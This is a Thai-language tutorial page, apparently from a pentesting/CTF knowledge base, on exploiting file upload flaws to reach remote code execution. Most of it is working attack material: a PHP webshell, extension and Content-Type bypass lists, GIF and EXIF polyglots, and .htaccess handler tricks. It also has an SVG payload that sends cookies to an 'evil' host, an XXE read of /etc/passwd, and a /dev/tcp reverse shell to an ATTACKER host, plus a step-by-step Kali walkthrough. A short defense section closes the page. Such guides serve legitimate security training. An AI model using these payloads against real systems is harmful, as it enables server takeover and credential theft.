คลัง
web

File Upload Vulnerabilities

ช่องโหว่ file upload เกิดเมื่อแอปยอมให้อัปโหลดไฟล์โดยตรวจสอบไม่รัดกุม ทำให้อัปโหลด webshell หรือไฟล์อันตรายแล้วรันได้ (RCE) หรือใช้ SVG/HTML ทำ XSS/XXE บทนี้ครอบคลุมการ bypass การตรวจ extension/MIME/magic byte, polyglot, .htaccess trick, การหาตำแหน่งไฟล์, และการยกระดับตาม stack

IntermediateAdvanced#file-upload#webshell#bypass#rce#content-type#polyglot#htaccess#svg

1. หลักการและชั้นการตรวจสอบ

เป้าหมายหลักคือ อัปโหลดไฟล์ที่เซิร์ฟเวอร์จะรันเป็นโค้ด (เช่น .php บน Apache+PHP) แล้วเข้าถึง URL ของไฟล์นั้นเพื่อรัน การป้องกันมักตรวจหลายชั้น: (1) นามสกุล/extension, (2) Content-Type header, (3) magic byte/content ของไฟล์, (4) ขนาด/มิติภาพ, (5) re-encode รูป — ต้อง bypass ให้ครบทุกชั้นที่แอปตรวจ และไฟล์ต้องไปอยู่ในตำแหน่งที่ execute ได้

3 ชั้นตรวจสอบที่ต้อง bypass
upload file shell.php ext check Content-Type magic byte stored + exec /uploads/ RCE
ไฟล์ที่อัปโหลดได้แต่รันไม่ได้ (เก็บนอก webroot หรือ server ไม่ตีความเป็นโค้ด) ยังโจมตีได้ด้วย content ของไฟล์เอง — SVG→XSS/XXE, HTML→XSS, image→ImageMagick/pixel exploit, zip→path traversal (zip slip)

2. Extension bypass

การตรวจทาง bypass
blacklist .php.phtml .php3 .php4 .php5 .php7 .phar .pht .phps .pgif (ยังรันเป็น PHP ตาม config)
เช็คนามสกุลท้ายสุดshell.php.jpg หรือ shell.jpg.php (แล้วแต่ลำดับ/regex)
case-sensitive blacklistshell.PhP / shell.pHtml (server อาจ case-insensitive)
strip 'php' หนึ่งครั้งshell.p.phphp → เหลือ shell.php
trailing char ถูกตัดshell.php%00.jpg / shell.php%20 / shell.php. / shell.php::$DATA
double extension ถูกกรองshell.php%00.png (null byte, PHP เก่า)
allow .htaccess/web.configอัปโหลด config เพื่อ map นามสกุลใหม่เป็นโค้ด
รายการ payload extension (PHP)
shell.phtml        shell.phar         shell.pht
shell.php3         shell.php4         shell.php5
shell.php7         shell.pgif         shell.phP
shell.php.jpg      shell.jpg.php      shell.php%00.jpg
shell.php%20       shell.php.         shell.php::$DATA   (Windows)
shell.php;.jpg     shell.php#.jpg     shell.p.phphp
ลองทีละแบบ — config แต่ละ server รับต่างกัน; .phar/.phtml มักรันได้แม้ .php ถูก block

3. Content-Type และ magic byte bypass

Content-Type: เป็น header ที่ client ส่ง แก้ใน Burp ได้ตรงๆ — ตั้งเป็น image/png ขณะ body เป็นโค้ด PHP; magic byte: ถ้า server เช็ค signature ต้นไฟล์ ให้เติม magic byte ของรูปข้างหน้าโค้ด (PHP ยังรันส่วน <?php> ที่ตามมา)

แก้ Content-Type ใน Burp (multipart)
POST /upload HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png            <-- ปลอมเป็นรูป

<?php system($_GET['c']); ?>
------x--
แก้ filename และ Content-Type ที่ part ของไฟล์ ไม่ใช่ header ของทั้ง request
Magic byte / polyglot — GIF header + PHP
GIF89a;
<?php system($_GET['c']); ?>

// GIF89a; ทำให้ผ่านการเช็คว่าเป็นรูป (magic byte + getimagesize บางกรณี)
// แต่ PHP interpreter ยังเจอ <?php แล้วรัน
// magic byte อื่น: PNG = \x89PNG\r\n, JPG = \xFF\xD8\xFF, PDF = %PDF-
ใช้กับ lab/CTF ที่ได้รับอนุญาตเท่านั้น
ฝัง PHP ใน metadata รูปจริง (bypass getimagesize + re-check)Linux
# ฝังโค้ดใน EXIF comment ของ JPG จริง → ผ่าน getimagesize()
exiftool -Comment='<?php system($_GET["c"]); ?>' real.jpg
mv real.jpg shell.php.jpg      # หรือ .phtml ตาม bypass ที่ใช้

# ถ้า server re-encode รูป โค้ดใน EXIF อาจหาย → ต้องใช้ช่องอื่น
# polyglot PNG ที่โค้ดรอดจาก re-encode (IDAT chunk) ใช้เครื่องมือเฉพาะ
polyglot ที่รอด re-compression ต้องคำนวณ chunk ให้โค้ดอยู่ส่วนที่ไม่ถูกแปลง

4. .htaccess / web.config trick

ถ้าอัปโหลด .htaccess (Apache) หรือ web.config (IIS) ได้ ใน directory เดียวกับไฟล์อื่น เราสั่งให้ server ตีความนามสกุล 'ปลอดภัย' เป็นโค้ดได้ — bypass ทุก extension check เพราะไฟล์ shell มีนามสกุลเป็น .jpg แต่ถูก map เป็น PHP

.htaccess — map .jpg เป็น PHP
# 1) อัปโหลดไฟล์ชื่อ .htaccess ที่มีเนื้อหา:
AddType application/x-httpd-php .jpg
# หรือแบบ handler:
AddHandler php-script .jpg
# บางเวอร์ชัน:
<FilesMatch "\.jpg$">
  SetHandler application/x-httpd-php
</FilesMatch>

# 2) อัปโหลด shell.jpg ที่มี <?php system($_GET['c']); ?>
# 3) เข้า /uploads/shell.jpg?c=id → รันเป็น PHP
ต้อง AllowOverride เปิดถึงจะได้ผล; IIS ใช้ web.config เพื่อ map/enable handler แทน

5. SVG/XSS, XXE, และช่องอื่นที่ไม่ต้อง RCE

แม้รันโค้ดฝั่ง server ไม่ได้ ไฟล์บางชนิดโจมตีด้วย content ได้เลย — SVG เป็น XML รัน JS ได้ (stored XSS) และ parse external entity ได้ (XXE)

SVG → stored XSS
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <script>fetch('//evil/?c='+document.cookie)</script>
</svg>

<!-- อัปเป็น avatar.svg; เมื่อเหยื่อเปิดไฟล์ SVG โดยตรง JS ทำงานใน origin -->
ทำงานเมื่อ server เสิร์ฟ SVG ด้วย Content-Type: image/svg+xml แบบ inline (ไม่ force download)
SVG → XXE (อ่านไฟล์ผ่าน image processor)
<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="20">&xxe;</text>
</svg>

<!-- ถ้า server render SVG (เช่นแปลงเป็น PNG ด้วย librsvg/ImageMagick)
     entity จะถูก resolve → เนื้อหาไฟล์โผล่ในผลลัพธ์ -->
ต่อยอด: ImageMagick 'ImageTragick' (CVE-2016-3714) และ ghostscript ผ่านไฟล์ภาพที่ประดิษฐ์ → RCE
  • HTML/SVG upload → stored XSS เมื่อเปิดไฟล์ตรงใน origin เดียวกัน
  • XXE ผ่าน SVG/XML/DOCX/XLSX ที่ server parse
  • ImageMagick / ghostscript exploit ผ่านไฟล์ภาพประดิษฐ์ → RCE
  • Zip slip — archive ที่มี ../ ใน entry name → เขียนไฟล์นอกโฟลเดอร์ที่ extract
  • Path traversal ที่ filename → เขียนทับไฟล์ระบบ (ดูหัวข้อ Path Traversal)
  • DoS — decompression bomb (zip/pixel flood), pixel flood image

6. หาตำแหน่งไฟล์ + ยกระดับ

  1. 1ดู response หลังอัปโหลด — มักบอก path หรือชื่อไฟล์ใหม่ (บางระบบ hash/rename)
  2. 2เดาโฟลเดอร์ upload ทั่วไป: /uploads/ /files/ /images/ /media/ /avatars/ /tmp/
  3. 3fuzzing ด้วย ffuf ถ้าไม่รู้ path หรือชื่อไฟล์ถูกสุ่ม
  4. 4เข้า URL ของ webshell: /uploads/shell.phtml?c=id
  5. 5ยืนยัน RCE แล้วต่อ reverse shell (bash -c / nc / php -r)
หา path + ยืนยัน RCELinux
# fuzz หาโฟลเดอร์ upload
ffuf -w wordlist.txt -u https://target/FUZZ/shell.phtml

# ยืนยัน RCE
curl 'https://target/uploads/shell.phtml?c=id'

# reverse shell (จาก webshell)
curl 'https://target/uploads/shell.phtml' --data-urlencode \
  'c=bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
ถ้ารัน PHP ไม่ได้ (ไม่ใช่ PHP stack) ลอง .jsp (Java/Tomcat), .aspx (.NET/IIS) ตาม stack
ถ้า server ไม่ตีความไฟล์เป็นโค้ด (เก็บใน static host / เสิร์ฟด้วย Content-Type ตายตัว) ให้พลิกไปช่อง content-based (SVG XSS/XXE) หรือหา LFI/path-traversal เพื่อ include ไฟล์ที่อัปแล้ว (LFI2RCE)

7. Decision flow

เจอฟีเจอร์ upload — ไล่ตามนี้
server ตรวจอะไรบ้าง? (ลองอัป .php ตรงๆ ก่อน)
ดู error/response
ตรวจชั้นไหน?
ext blacklist→ .phtml/.phar/double ext
Content-Type→ แก้เป็น image/png ใน Burp
magic byte→ GIF89a; / EXIF payload
อัป .htaccess ได้→ map .jpg เป็น PHP
อัปสำเร็จ + รันได้?
รันโค้ดได้→ webshell → RCE
รันไม่ได้→ SVG XSS/XXE / LFI2RCE

8. ข้อผิดพลาด & troubleshooting

  • แก้ Content-Type ผิดที่: ต้องแก้ที่ part ของไฟล์ใน multipart ไม่ใช่ header ของ request
  • server re-encode รูป: EXIF/metadata payload หาย → ต้อง polyglot ที่รอด re-compress หรือช่องอื่น
  • อัปได้แต่เข้าไม่ถึง: ไฟล์อยู่นอก webroot หรือถูก rename — ต้องหา path/ใช้ LFI
  • .htaccess ไม่ทำงาน: AllowOverride ปิด หรือ nginx (ไม่ใช้ .htaccess) → ใช้ trick อื่น
  • null byte ไม่ผ่าน: %00 ใช้ได้กับ PHP เก่า (<5.3.4) เท่านั้น — modern ปิดแล้ว
  • ลืมลองหลาย extension: .php ถูก block ไม่ได้แปลว่า .phtml/.phar ถูก block
  • double URL-encode filename: บาง WAF decode รอบเดียว — ลอง encode ซ้อน

9. การป้องกัน

  • Allowlist extension (ไม่ใช่ blacklist) และ validate ที่ server ไม่ใช่ client
  • ตรวจ magic byte/content จริง + re-encode รูปเพื่อ strip payload
  • เก็บไฟล์นอก webroot หรือ storage แยก (S3) ที่ไม่ execute โค้ด
  • สุ่มชื่อไฟล์ (ไม่ใช้ชื่อ/นามสกุลจาก client) และตั้ง Content-Type ตายตัวตอนเสิร์ฟ
  • เสิร์ฟไฟล์ด้วย Content-Disposition: attachment + X-Content-Type-Options: nosniff (กัน SVG XSS)
  • ปิดการรัน script ใน upload dir (Apache: php_admin_flag engine off; หรือไม่ให้ .htaccess override)
  • จำกัดขนาด, ตรวจ zip slip (ปฏิเสธ ../ ใน entry), ปิด XXE ใน XML/SVG parser

10. Quick Reference

  • เป้าหมาย: อัปไฟล์ที่ server รันเป็นโค้ด แล้วเรียก URL มัน
  • ext bypass: .phtml .phar .pht / double ext / case / %00 (เก่า)
  • content-type: แก้เป็น image/png ที่ part ของไฟล์ใน Burp
  • magic byte: นำหน้าด้วย GIF89a; หรือ EXIF payload (exiftool)
  • .htaccess: AddType application/x-httpd-php .jpg → map ใหม่
  • ไม่ได้ RCE → SVG (XSS/XXE), ImageMagick, zip slip, LFI2RCE
  • หา path ไฟล์ (response/เดา/ffuf) แล้วเรียก ?c=id
  • ป้องกัน: allowlist, ตรวจ magic byte, เก็บนอก webroot, สุ่มชื่อ, nosniff

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอฟีเจอร์ upload ไฟล์ (avatar/attachment) มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อดูว่าอัป webshell ได้ไหม

  1. 1เปิด Burp Suite ตั้ง proxy แล้วลองอัป shell.php ตรงๆ ก่อน ดู error ที่ตอบกลับ (Burp เก็บ request ไว้ใช้ Repeater ต่อ)
  2. 2ถ้าถูกบล็อกเพราะนามสกุล ลองเปลี่ยนเป็น .phtml/.phar/.pht ทีละอันใน Repeater
  3. 3ถ้ายังกัน ลองแก้ Content-Type ของ part ไฟล์ใน multipart body เป็น image/png
  4. 4ลองเติม magic byte GIF89a; นำหน้าโค้ด PHP หรือฝังโค้ดใน EXIF ด้วย exiftool -Comment='<?php system($_GET["c"]); ?>' real.jpg
  5. 5ถ้าอัปผ่านแล้ว หา path ไฟล์จาก response หรือเดาโฟลเดอร์ทั่วไป (/uploads/) หรือ fuzz ด้วย ffuf
  6. 6เรียก URL ไฟล์ที่อัป พร้อม ?c=id ดูว่ารันโค้ดได้ไหม
  7. 7ถ้ารันไม่ได้เลย ลองอัป .htaccess เพื่อ map นามสกุลใหม่เป็น PHP (ถ้าเป็น Apache)
  8. 8ถ้ายังรันไม่ได้ ลองอัป SVG ที่มี onload=alert(document.domain) ดู stored XSS หรือ XXE แทน
  9. 9เมื่อยืนยัน RCE แล้ว เปิด nc -lvnp 4444 ฟังไว้ที่ Kali แล้วสั่ง reverse shell ผ่าน webshell
ตัดสินใจ: ไล่ bypass upload ทีละชั้น
อัป shell.php ตรงๆ ก่อน
ผลลัพธ์?
✅ อัปผ่าน + รันได้→ ไปยืนยัน RCE
❌ ถูกบล็อก→ ลอง extension/content-type/magic byte bypass
ลอง .phtml/.phar / แก้ Content-Type / GIF89a;+PHP / EXIF payload
✅ อัปผ่านสักแบบ→ ไปเช็คว่ารันได้ไหม
❌ ทุกชั้นกันหมด→ ลองอัป .htaccess
อัป .htaccess map นามสกุลเป็น PHP (ถ้าเป็น Apache + AllowOverride เปิด)
✅ ทำงาน→ ไปยืนยัน RCE
❌ ไม่ทำงาน (nginx/AllowOverride ปิด)→ ลอง content-based attack แทน
เรียก URL ไฟล์ (?c=id) ยืนยัน RCE → reverse shell กลับ Kali
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ดักจับ/แก้ multipart requestBurp Suite Community--
fuzz หา path/โฟลเดอร์ uploadffuf--
ฝัง payload ใน metadata รูปexiftool--
สร้าง reverse shell payloadmsfvenom-revshells.com
ฟังกลับ reverse shellnc (netcat)--
สร้าง php filter chain (ถ้าต้อง LFI2RCE)-git clone https://github.com/synacktiv/php_filter_chain_generator-
🚑 ถ้าตันสนิท ลองท่าถัดไป: XSS — ถ้าอัป SVG/HTML ได้แต่รันโค้ด server-side ไม่ได้เลย · Path Traversal / LFI — ถ้าต้อง traversal ไป include ไฟล์ที่อัปแล้วแทนการเรียกตรง · Command Injection — หลังได้ webshell แล้วต่อยอดเป็น reverse shell เต็มรูปแบบ · XXE — ถ้าอัป SVG/XML/DOCX ที่ server parse ด้วย XML parser

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้